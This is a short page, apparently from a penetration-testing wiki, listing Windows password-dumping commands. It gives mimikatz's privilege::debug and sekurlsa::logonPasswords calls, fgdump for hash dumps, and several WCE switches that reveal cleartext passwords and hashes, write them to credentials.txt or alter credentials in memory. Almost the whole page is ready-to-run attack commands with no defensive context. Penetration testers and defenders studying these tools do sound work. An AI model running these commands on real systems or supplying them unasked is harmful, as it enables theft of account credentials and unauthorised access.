Password dumping
From pentestwiki.org
mimikatz
C:>
mimikatz.exe
privilege::debug sekurlsa::logonPasswords sekurlsa::msv
Fgdump
Dumps hashes (needs SYSTEM privileges)
C:>
fgdump.exe
WCE
Dumps clear passwords
C:>
wce -w
Dumps hashes
C:>
wce
Persistent, writes in credentials.txt
C:>
wce -r
Change your credentials in memory
C:>
wce -s